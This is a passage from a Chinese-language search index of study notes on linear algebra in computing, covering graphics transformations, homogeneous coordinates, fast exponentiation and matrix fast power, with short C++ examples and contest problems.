    \u90a3\u4e48\u8fd9\u4e2a\u601d\u8def\u4ece\u7ebf\u6027\u4ee3\u6570\u7684\u89d2\u5ea6\u600e\u4e48\u770b\u5462\u2026\u2026 \u5c31\u662f\u6c42\u7ebf\u6027\u65e0\u5173\u7ec4\uff0c\u5982\u679c\u5728\u7ebf\u6027\u65e0\u5173\u7ec4\u91cc\u9762\u5c31\u662f NO\uff0c\u5982\u679c\u4e0d\u5728\u7ebf\u6027\u65e0\u5173\u7ec4\u91cc\u9762\u5c31\u662f YES\uff0c\u5f53\u7136\u7ebf\u6027\u65e0\u5173\u7ec4\u5728\u8fd9\u91cc\u662f\u552f\u4e00\u7684\u3002

    \u7ebf\u6027\u65e0\u5173\u7ec4\u4ee3\u8868\u6ca1\u6709\u5197\u4f59\u7684\u4fe1\u606f\uff0c\u8fd9\u4e9b\u4fe1\u606f\u90fd\u662f\u7ebf\u6027\u65e0\u5173\u7684\uff0c\u4e5f\u5c31\u662f\u5411\u91cf\u4e4b\u95f4\u65e0\u6cd5\u7528\u5f7c\u6b64\u4e4b\u95f4\u76f8\u4e92\u8868\u8fbe\u7684\u542b\u4e49\uff0c\u56e0\u6b64\uff0c\u5728\u9898\u76ee\u91cc\uff0c\u5c31\u662f\u68c0\u6d4b\u6709\u6ca1\u6709\u5f00\u5173\u662f\u5197\u4f59\u7684\u3002

    \u6e90\u7801\u5b9e\u73b0\u53ef\u4ee5\u53c2\u8003 Python numpy \u91cc\u9762\u7684 matrix_rank \u51fd\u6570\u5b9e\u73b0\u3002\u5728 \\(linalg/\\_linalg.py\\) \u76ee\u5f55\u4e0b\u7684 \\(1973\\) \u884c

    \u8fd9\u662f\u7ebf\u6027\u4ee3\u6570\u7684\u601d\u60f3\u5728\u7b97\u6cd5\u7ade\u8d5b\u91cc\u7684\u4e00\u4e2a\u7b80\u5355\u5e94\u7528\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#linear-arithmetic","title":"\u7ebf\u6027\u7b97\u672f | Linear Arithmetic","text":"

    \u7565\u8fc7\u57fa\u7840\u6027\u7684\u5411\u91cf\u52a0\u51cf\u8fd0\u7b97\uff0c\u6211\u4eec\u5148\u91cd\u65b0\u590d\u4e60\u4e00\u4e0b\u6570\u4e58\u3002 $$ 2 \\times\\begin{bmatrix}1\\\\2\\end{bmatrix} = \\begin{bmatrix}2\\\\4\\end{bmatrix} $$ \u4ec0\u4e48\u610f\u601d\uff0c\u8fd9\u662f\u4e00\u4e2a\u51e0\u4f55\u4e0a\u7684\u4f38\u7f29\u8fd0\u7b97\uff0c\u628a\u539f\u6765\u7684\u5411\u91cf\u62c9\u4f38\u4e86 \\(2\\) \u500d\uff0c\u7531\u6b64\u5f15\u5230\u6211\u4eec\u7ebf\u6027\u53d8\u6362\u7684\u5185\u5bb9\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#linear-transformation","title":"\u7ebf\u6027\u53d8\u6362 | Linear Transformation","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_3","title":"\u7ebf\u6027\u4ee3\u6570\u7684\u4e00\u4e9b\u5e94\u7528","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#computer-graphics","title":"\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66 | Computer Graphics","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_4","title":"\u70b9\u4e58\u7684\u4f5c\u7528","text":"

    \u7531\u4e8e\u4e0d\u60f3\u753b\u56fe\u4e86\uff0c\u6240\u4ee5\u865a\u7a7a\u5730\u8bb2\u4e00\u4e0b\u3002 \u70b9\u4e58\u5728\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66\u9886\u57df\u4e3b\u8981\u7528\u4e8e\u6c42\u89e3\u4e24\u4e2a\u5411\u91cf\u4e4b\u95f4\u7684\u89d2\u5ea6\u3002\u53ef\u4ee5\u60f3\u4e00\u60f3\u8fd9\u4e2a\u89d2\u5ea6\u6709\u4ec0\u4e48\u7528\u3002

    \u5411\u91cf\u662f\u4e00\u4e2a\u5373\u6709\u5927\u5c0f\u53c8\u6709\u65b9\u5411\u7684\u91cf\uff0c\u4f46\u662f\u8ba1\u7b97\u673a\u5185\u90e8\u662f\u6ca1\u6709\u65b9\u5411\u7684\u8fd9\u4e2a\u6982\u5ff5\u7684\uff0c\u6240\u4ee5\u7528\u4e00\u4e2a\u53ef\u4ee5\u91cf\u5316\u7684\u89d2\u5ea6\u53bb\u8868\u793a\u5411\u91cf\u4e4b\u95f4\u7684\u65b9\u5411\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_5","title":"\u53c9\u4e58\u7684\u4f5c\u7528","text":"

    \u8fd9\u91cc\u4e0d\u590d\u4e60\u76f8\u5173\u7684\u5b9a\u4e49\u95ee\u9898\uff0c\u4f46\u662f\u6709\u4e00\u4e9b\u57fa\u672c\u7684\u5e38\u8bc6\u6027\u6982\u5ff5\u3002 $$ \\vec x \\times \\vec y = \\vec z \\quad \\vec y \\times \\vec x = -\\vec z $$ \u8fd9\u6709\u4ec0\u4e48\u4f5c\u7528\u5462\uff0c\u6bd4\u5982\u5728\u6e32\u67d3\u7684\u65f6\u5019\u6211\u53ef\u4ee5\u753b\u4e00\u4e2a\u4e09\u89d2\u5f62\uff0c\u7136\u540e\u7528\u5411\u91cf\u7684\u53c9\u4e58\u5feb\u901f\u5224\u65ad\u8fd9\u4e2a\u70b9\u662f\u4e0d\u662f\u5728\u4e09\u89d2\u5f62\u5185\u90e8\u3002\uff08\u53ef\u4ee5\u6269\u5c55\u5230\u4efb\u610f\u51f8\u5305\uff0c\u6c42\u51f8\u5305\u7684\u76f8\u5173\u7b97\u6cd5\u53ef\u4ee5\u7528\u70b9\u4e58\uff0c\u8be6\u60c5\u53c2\u8be2https://oi-wiki.org/geometry/convex-hull/\uff09

    \u8fd9\u91cc\u6211\u4eec\u8ba1\u7b97\u53c9\u4e58\u901a\u5e38\u4f7f\u7528\u53f3\u624b\u7cfb\uff0c\u4f46\u662f\u5728 UE4 \u548c OpenGL \u4e2d\u4f7f\u7528\u7684\u662f\u5de6\u624b\u7cfb\uff0c\u95ee\u9898\u4e0d\u5927\uff0c\u7ffb\u8f6c\u4e00\u4e0b\u5c31\u53ef\u4ee5\u4e86\u3002 \u5411\u91cf\u7684\u53c9\u4e58\u548c\u5411\u91cf\u7684\u70b9\u4e58\u90fd\u53ef\u4ee5\u5199\u6210\u77e9\u9635\u4e58\u6cd5\u7684\u5f62\u5f0f\uff0c\u53ef\u4ee5\u601d\u8003\u4e00\u4e0b\u600e\u4e48\u4e2a\u4e00\u56de\u4e8b\u3002\uff08\u63d0\u793a\uff1a\u4f34\u968f\u77e9\u9635\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_6","title":"\u771f\u6b63\u7684\u53d8\u6362\u4e13\u573a","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_7","title":"\u7f29\u653e\u53d8\u6362","text":"

    \u6a2a\u8f74\u548c\u7eb5\u8f74\u90fd\u53d8\u6210\u4e86\u539f\u6765\u7684 \\(\\frac{1}{2}\\) \u7528\u6570\u5b66\u7684\u8bed\u8a00\u8868\u8fbe\u5462\u5982\u4e0b $$ x^{'} = sx \\quad y^{'} = sy $$ \u4f5c\u4e3a\u4e00\u4e2a\u5b66\u8fc7\u7ebf\u6027\u4ee3\u6570\u7684\u4eba\u5462\uff0c\u9700\u8981\u5b66\u4f1a\u628a\u8fd9\u4e2a\u8f6c\u6362\u6210\u4e3a\u77e9\u9635\u5f62\u5f0f\uff0c\u5c31\u6bd4\u5982\u8fd9\u4e2a\u6837\u5b50 $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix}=\\begin{bmatrix}s & 0\\\\0&s\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    \u5f53\u7136\uff0c\u4e5f\u53ef\u4ee5\u4e0d\u5747\u5300\u7684\u7f29\u653e\uff0c\u6bd4\u5982 \\(x\\) \u548c \\(y\\) \u4e00\u4e2a\u7f29\u5c0f\u5230 \\(\\frac{1}{2}\\)\uff0c\u4e00\u4e2a\u4fdd\u6301\u4e0d\u53d8\u3002 $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix}=\\begin{bmatrix}s_x & 0\\\\0&s_y\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_8","title":"\u5bf9\u79f0\u53d8\u6362","text":"

    \u5b66\u8fc7\u8fd1\u4e16\u4ee3\u6570\u7684\u540c\u5b66\u5e94\u8be5\u90fd\u77e5\u9053\uff0c\u77e9\u9635\u8fd0\u7b97\u65f6\u975e\u5e38\u7b26\u5408\u7fa4\u8fd9\u4e2a\u4e1c\u897f\u7684\u5b9a\u4e49\u7684\uff0c\u4f46\u662f\u5982\u679c\u4ece\u9ad8\u4e2d\u6570\u5b66\u63a8\u5bfc\u8fc7\u6765\u5462\uff0c\u7fa4\u4e00\u5f00\u59cb\u8bde\u751f\u5c31\u662f\u4e3a\u4e86\u63cf\u8ff0\u5bf9\u79f0\u6027\u8fd9\u4e2a\u4e1c\u897f\u7684\u3002\u6240\u4ee5\u77e9\u9635\u5e94\u8be5\u662f\u5f88\u8f7b\u677e\u7684\u5c31\u80fd\u628a\u5bf9\u79f0\u8fd9\u4e2a\u4e1c\u897f\u7ed9\u63cf\u8ff0\u51fa\u6765\u7684\u3002

    \u63d0\u793a\uff1a\u53ef\u4ee5\u770b\u6210\u662f\u7f29\u653e\u7684\u7279\u6b8a\u60c5\u51b5\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#sheer","title":"\u5207\u53d8\u6362 | Sheer","text":"

    $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix}=\\begin{bmatrix}1 & a\\\\0&1\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_9","title":"\u65cb\u8f6c\u53d8\u6362","text":"

    $$ R_\\theta = \\begin{bmatrix}\\cos \\theta & -\\sin\\theta\\\\sin\\theta&\\cos\\theta\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_10","title":"\u8fdb\u884c\u4e00\u4e9b\u5c0f\u603b\u7ed3","text":"

    \u53ef\u4ee5\u53d1\u73b0\u4e0a\u8ff0\u6240\u6709\u53d8\u6362\u90fd\u53ef\u4ee5\u5199\u6210\u5f62\u5982 \\(\\(x^{'}=ax+by\\quad y^{'}=cx+dy\\)\\) \u8f6c\u6362\u6210\u4e3a\u77e9\u9635\u5f62\u5f0f\u4e5f\u5c31\u662f $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix} = \\begin{bmatrix}a & b\\\\c&d\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_11","title":"\u5e73\u79fb","text":"

    \u53ef\u4ee5\u60f3\u4e00\u60f3\u8fd8\u80fd\u4e0d\u80fd\u6109\u5feb\u7684\u5199\u6210\u4e00\u4e2a\u77e9\u9635\u5de6\u4e58\u7684\u5f62\u5f0f\u4e86\uff1f\u6211\u7b80\u6d01\u7684\u77e9\u9635\u5f62\u5f0f\u600e\u4e48\u6ca1\u6709\u4e86\uff1f \u53ea\u80fd\u5199\u6210\u5982\u4e0b\u5f62\u5f0f\uff1a $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix} = \\begin{bmatrix}a & b\\\\c&d\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix}+\\begin{bmatrix}t_x\\\\t_y\\end{bmatrix} $$ \u597d\u50cf\u5f88\u7b80\u5355\uff0c\u4f46\u662f\u8fd9\u5f62\u5f0f\u548c\u4e4b\u524d\u7684\u4e0d\u7edf\u4e00\u3002\u4e5f\u8868\u660e\u5e73\u79fb\u4e0d\u662f\u4e00\u4e2a\u5f88\u6b63\u7ecf\u7684\u7ebf\u6027\u53d8\u6362\u3002\u8fd9\u79cd\u4e0d\u7edf\u4e00\u7684\u5f62\u5f0f\u4e5f\u4e0d\u9002\u5408\u7a0b\u5e8f\u5458\u5077\u61d2\uff0c\u51ed\u5565\u540c\u6837\u662f\u4e8c\u7ef4\u53d8\u6362\uff0c\u5e73\u79fb\u5c31\u8981\u641e\u7279\u6b8a\uff1f

    \u7b54\u6848\u662f\u6709\u7edf\u4e00\u5f62\u5f0f\u7684\uff0c\u4f46\u662f\u4ee3\u4ef7\u662f\u4ec0\u4e48\u5462\uff1f\u8ba1\u7b97\u673a\u79d1\u5b66\u4e2d\u65f6\u95f4\u590d\u6742\u5ea6\u548c\u7a7a\u95f4\u590d\u6742\u5ea6\u66f4\u591a\u60c5\u51b5\u4e0b\u662f\u4e0d\u80fd\u540c\u65f6\u517c\u5f97\u7684\u3002

    \u8fd9\u6b21\u7b54\u6848\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u628a\u539f\u5148\u7684 \\(2\\times2\\) \u7684\u77e9\u9635\u5347\u7ef4\uff0c\u53d8\u6210 \\(3\\times3\\) \u7684\u77e9\u9635\uff0c\u7528\u66f4\u591a\u7684\u8ba1\u7b97\u65f6\u95f4\u548c\u5b58\u50a8\u7a7a\u95f4\u6362\u53d6\u4e00\u4e2a\u66f4\u52a0\u7edf\u4e00\u7684\u8ba1\u7b97\u5f62\u5f0f\u3002

    \u9996\u5148\u5148\u8bb2\u4e00\u4e0b\u77e9\u9635\u5347\u7ef4\u4e4b\u540e\uff0c\u6211\u4eec\u5bf9\u539f\u6765\u4e8c\u7ef4\u7684\u70b9\u548c\u5411\u91cf\u505a\u4e86\u4e9b\u4ec0\u4e48\u3002 \u70b9 \\(dot = (x,\\ y,\\ 1)^{T}\\) \u5411\u91cf \\(vec = (x,\\ y,\\ 0)^{T}\\) 1\u548c0\u5728\u8fd9\u91cc\u8d77\u5230\u4e86\u4e00\u4e2a\u8868\u793a\u8eab\u4efd\u7684\u4f5c\u7528\uff0c\u540c\u65f6\uff0c\u5411\u91cf\u5177\u6709\u5411\u91cf\u4e0d\u53d8\u6027\uff0c\u56e0\u6b64\u672b\u5c3e\u4e3a 0 - \u5411\u91cf + \u5411\u91cf = \u5411\u91cf - \u5411\u91cf - \u5411\u91cf = \u5411\u91cf - \u70b9 - \u70b9 = \u5411\u91cf - \u70b9 + \u5411\u91cf = \u70b9 - \u70b9 + \u70b9 = \uff1f\uff08\u6839\u636e\u67d0\u79cd\u6269\u5145\u5b9a\u4e49\uff0c\u8868\u793a\u4e24\u4e2a\u70b9\u7684\u4e2d\u70b9\uff09

    \u6269\u5145\u5b9a\u4e49\u5982\u4e0b\uff1a\\((x,\\ y,\\ w)^T\\) \u662f\u8868\u793a\u4e8c\u7ef4\u7684\u70b9\\((x/w,\\ y/w,\\ 1)^T\\)

    \u56e0\u6b64\u7edf\u4e00\u5f62\u5f0f\u5982\u4e0b $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\\\1\\end{bmatrix} = \\begin{bmatrix}a & b & t_x\\\\c&d&t_y\\\\0&0&1\\end{bmatrix}\\begin{bmatrix}x\\ y\\\\1\\end{bmatrix} $$ \u5e0c\u671b\u5199\u5230\u8fd9\u91cc\u80fd\u66f4\u597d\u7684\u5e2e\u4f60\u7406\u89e3\u5f88\u591a\u6559\u79d1\u4e66\u4e0a\u7a81\u7136\u5192\u51fa\u7684 \u56db\u5143\u6570 \u8fd9\u4e2a\u5947\u5999\u7684\u6982\u5ff5\uff0c\u56e0\u4e3a\u90a3\u662f\u5728\u4e09\u7ef4\u7a7a\u95f4\u4e2d\uff0c\u989d\u5916\u5347\u4e86\u4e00\u7ef4\u3002\uff0801\u4f5c\u4e1a\u5149\u6805\u5316\u5c55\u793a\uff09

    \u4f46\u662f\u8fd9\u8fdc\u8fdc\u4e0d\u662f\u56fe\u5f62\u5b66\uff0c\u4ed6\u53ea\u662f\u5165\u95e8\uff0c\u751a\u81f3\u95e8\u90fd\u6ca1\u6709\u5165\u3002\u66f4\u6df1\u4e00\u70b9\u7684\u6bd4\u5982\u6444\u50cf\u5934\u7684\u65cb\u8f6c\uff0c\u89c6\u56fe\u7684\u53d8\u6362\u90fd\u6ca1\u6709\u8bb2\u5230\uff0c\u8fd9\u4e9b\u4f9d\u65e7\u5c5e\u4e8e\u77e9\u9635\u53d8\u6362\u7684\u8303\u7574\uff0c6\u4e2a\u81ea\u7531\u5ea6\u5bfc\u81f4\u77e9\u9635\u8d8a\u6765\u8d8a\u96be\u5199\uff0c\u6240\u4ee5\u5bf9\u7ebf\u6027\u4ee3\u6570\u7684\u529f\u5e95\u63d0\u51fa\u4e86\u5f88\u9ad8\u7684\u8981\u6c42\u3002

    \u5149\u6805\u5316\uff0c\u5149\u7ebf\u8ffd\u8e2a\uff0c\u8f90\u5c04\u5ea6\u91cf\u5b66\uff0c\u57fa\u4e8e\u7269\u7406\u7684\u6e32\u67d3\uff0c\u4ee5\u53ca\u5230\u6700\u540e\u8fdb\u884c\u6e38\u620f\u5f15\u64ce\u7684\u5f00\u53d1\uff0c\u9700\u8981\u6570\u636e\u7ed3\u6784\uff0c\u9700\u8981\u7b97\u6cd5\uff0c\u9700\u8981\u4e3a\u4e86\u66f4\u903c\u771f\u7684\u56fe\u7247\u53bb\u69a8\u5e72GPU\u7684\u6027\u80fd\u3002\u8fd9\u90fd\u662f\u56fe\u5f62\u5b66\u3002

    \u4e2d\u56fd\u79d1\u6280\u5927\u5b66\u6709\u4e00\u5957\u5c5e\u4e8e\u81ea\u5df1\u7684\u56fe\u5f62\u5b66Lab\uff0c\u897f\u5b89\u4ea4\u901a\u5927\u5b66\u57282024\u5e74\u4e5f\u5728\u9010\u6b65\u5f00\u53d1\u81ea\u5df1\u7684\u56fe\u5f62\u5b66\u4f5c\u4e1a\u4ee3\u7801\u6846\u67b6\uff0c\u4e0a\u6d77\u4ea4\u901a\u5927\u5b66\u548c\u6d59\u6c5f\u5927\u5b66\u4f1a\u5728\u672c\u79d1\u9636\u6bb5\u8bb2\u4e00\u70b9\u8499\u7279\u5361\u6d1b\u6e32\u67d3\u7684\u5185\u5bb9\uff0c\u6b63\u89c6\u81ea\u5df1\u4e0e\u5176\u4ed6\u5b66\u6821\u672c\u79d1\u751f\u4e4b\u95f4\u7684\u5dee\u8ddd\uff0c\u52aa\u529b\u8fdb\u6b65\u3002

    \u56fe\u5f62\u5b66\u662f\u6982\u7387\u8bba\uff0c\u5fae\u79ef\u5206\uff0c\u7ebf\u6027\u4ee3\u6570\uff0c\u7269\u7406\u5b66\u90fd\u9700\u8981\u7684\u4e00\u95e8\u5b66\u79d1\uff0c\u53cd\u6b63\u611f\u89c9\u633a\u597d\u73a9\u7684\uff0c\u6bd4\u5982\u8499\u7279\u5361\u6d1b\u79ef\u5206\u3002

    talk is cheap, show me the code

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_12","title":"\u7b97\u6cd5","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_13","title":"\u77e9\u9635\u5feb\u901f\u5e42","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_14","title":"\u5feb\u901f\u5e42","text":"

    \u6c42 \\(a^b\\ mod\\ c\\) \u7684\u95ee\u9898\u3002 \u5f88\u591a\u4eba\u4f1a\u89c9\u5f97\u8fd9\u5f88\u7b80\u5355\uff0c\u4f46\u662f\u5982\u679c \\(b\\) \u5f88\u5927\u5462\uff1f $$ a^{2b} = (a^2)^b \\quad a^{2b+1} = a\\times (a^2)^b $$ \u5982\u6b64\u4e0d\u65ad\u7684\u4e8c\u5206\u4e0b\u53bb\u5c31\u53ef\u4ee5\u5f97\u5230\u7b54\u6848\uff0c\u7528\u5230\u7684\u4e5f\u662f\u4e8c\u5206\u7684\u601d\u60f3\u3002 \u4e3e\u4e2a\u4f8b\u5b50\u5427\uff0c\u6bd5\u7adf\u4e0a\u9762\u7684\u7b97\u5f0f\u8fd8\u662f\u592a\u62bd\u8c61\u4e86 $$ a^{13} = a^{(1101)_2} = a^8 \u00b7 a^4\u00b7a^1 $$ \u8fd9\u6837\u6211\u4eec\u53ea\u9700\u8981\u77e5\u9053 \\(a^1,a^2,...a^{2^n}\\) \u5c31\u53ef\u4ee5\u5feb\u901f\u7684\u7b97\u51fa \\(a^{2^{n+1}}\\) \u7684\u5e42\u6b21\u3002\u53ea\u9700\u8981\u5c06\u5bf9\u5e94\u4e8c\u8fdb\u5236\u4f4d\u4e3a 1 \u7684\u6574\u7cfb\u6570\u5e42\u4e58\u8d77\u6765\u5c31\u884c\u4e86\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a

    long long quick_pow(long long a, long long b)\n{ \n    long long res = 1; \n    while (b > 0) { \n        if (b & 1) res = res * a; \n        a = a * a; \n        b >>= 1; \n    } \n    return res; \n}\n
    \u53ef\u4ee5\u81ea\u5df1\u6839\u636e\u8fd9\u4e2a\u539f\u7406\u53bb\u641e\u641e\u5feb\u901f\u4e58\u6cd5\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_15","title":"\u77e9\u9635\u4e58\u6cd5","text":"

    \u61d2\u5f97\u8bb2\uff0c\u7ebf\u4ee3\u5e94\u8be5\u8fd8\u6ca1\u5fd8\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_16","title":"\u771f\u6b63\u7684\u77e9\u9635\u5feb\u901f\u5e42","text":"

    \u77e9\u9635\u5feb\u901f\u5e42\uff0c\u987e\u540d\u601d\u4e49\uff0c\u5c31\u662f \u77e9\u9635\u4e58\u6cd5 + \u5feb\u901f\u5e42\u3002\u597d\u7684\u6211\u8bb2\u5b8c\u4e86\uff08\u4e0d\u662f\uff09 \u4f46\u662f\u5f88\u591a\u4eba\u63a5\u89e6\u77e9\u9635\u5feb\u901f\u5e42\u5e94\u8be5\u662f\u5728\u8ba1\u7b97\u6590\u6ce2\u90a3\u5951\u6570\u5217\u90a3\u8fb9\u63a5\u89e6\u5230\u7684\uff0c\u7136\u800c\u5e76\u6ca1\u6709\u8fdb\u884c\u4e00\u4e2a\u6df1\u5165\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_17","title":"\u6590\u6ce2\u90a3\u5951\u6570\u5217","text":"

    \u4f46\u662f\u8fd8\u662f\u5148\u6e29\u4e60\u4e00\u4e0b\u6590\u6ce2\u90a3\u5951\u6570\u5217\u600e\u4e48\u7528\u77e9\u9635\u52a0\u901f\u6c42\u7684\uff0c\u521a\u624d\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66\u7684\u4e1c\u897f\u5e0c\u671b\u8fd8\u6ca1\u6709\u5fd8\u5e72\u51c0 $$ \\begin{bmatrix}F_{n-1} & F_{n-2}\\end{bmatrix}\\begin{bmatrix}1&1\\\\1&0\\end{bmatrix} = \\begin{bmatrix}F_{n} & F_{n-1}\\end{bmatrix} $$

    \u5b9a\u4e49\u521d\u59cb\u77e9\u9635 \\(\\text{ans} = \\begin{bmatrix}F_2 & F_1\\end{bmatrix} = \\begin{bmatrix}1 & 1\\end{bmatrix}, \\text{base} = \\begin{bmatrix} 1 & 1 \\\\ 1 & 0 \\end{bmatrix}\u3002\\)

    \u90a3\u4e48\uff0c\\(F_n \u5c31\u7b49\u4e8e \\text{ans} \\text{base}^{n-2}\\) \u8fd9\u4e2a\u77e9\u9635\u7684\u7b2c\u4e00\u884c\u7b2c\u4e00\u5217\u5143\u7d20\uff0c\u4e5f\u5c31\u662f \\(\\begin{bmatrix}1 & 1\\end{bmatrix} \\begin{bmatrix} 1 & 1 \\\\ 1 & 0 \\end{bmatrix}^{n-2}\\)\u7684\u7b2c\u4e00\u884c\u7b2c\u4e00\u5217\u5143\u7d20\u3002

    const int mod = 1000000007;\n\nstruct Matrix {\n  int a[3][3];\n\n  Matrix() { memset(a, 0, sizeof a); }\n\n  Matrix operator*(const Matrix &b) const {\n    Matrix res;\n    for (int i = 1; i <= 2; ++i)\n      for (int j = 1; j <= 2; ++j)\n        for (int k = 1; k <= 2; ++k)\n          res.a[i][j] = (res.a[i][j] + a[i][k] * b.a[k][j]) % mod;\n    return res;\n  }\n} ans, base;\n\nvoid init() {\n  base.a[1][1] = base.a[1][2] = base.a[2][1] = 1;\n  ans.a[1][1] = ans.a[1][2] = 1;\n}\n\nvoid qpow(int b) {\n  while (b) {\n    if (b & 1) ans = ans * base;\n    base = base * base;\n    b >>= 1;\n  }\n}\n\nint main() {\n  int n = read();\n  if (n <= 2) return puts(\"1\"), 0;\n  init();\n  qpow(n - 2);\n  println(ans.a[1][1] % mod);\n}\n

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#hdu-1005-number-sequence","title":"HDU 1005 Number Sequence","text":"

    \\(\\text{\u7ed9\u51fa\u4e00\u4e2a\u6570\u5217\u5b9a\u4e49\u5982\u4e0b\uff1a}f(1)=1,f(2)=1,f(n)=Af(n-1)+Bf(n-2),\\text{\u8ba1\u7b97}f(n)\\) $$ \\begin{bmatrix}F(n-1) \\ F(n-2)\\end{bmatrix}\\begin{bmatrix}A&B\\\\1&0\\end{bmatrix} = \\begin{bmatrix}F(n) \\ F_(n-1)\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#lightoj-1070-algebraic-problem","title":"LightOJ 1070 Algebraic Problem","text":"

    \u7ed9\u51fa \\(a+b\\) \u548c \\(ab\\) \u7684\u503c\uff0c\u6c42\\(a^n+b^n\\) \u7b54\u6848\u5bf9 \\(2^{64}\\) \u53d6\u6a21

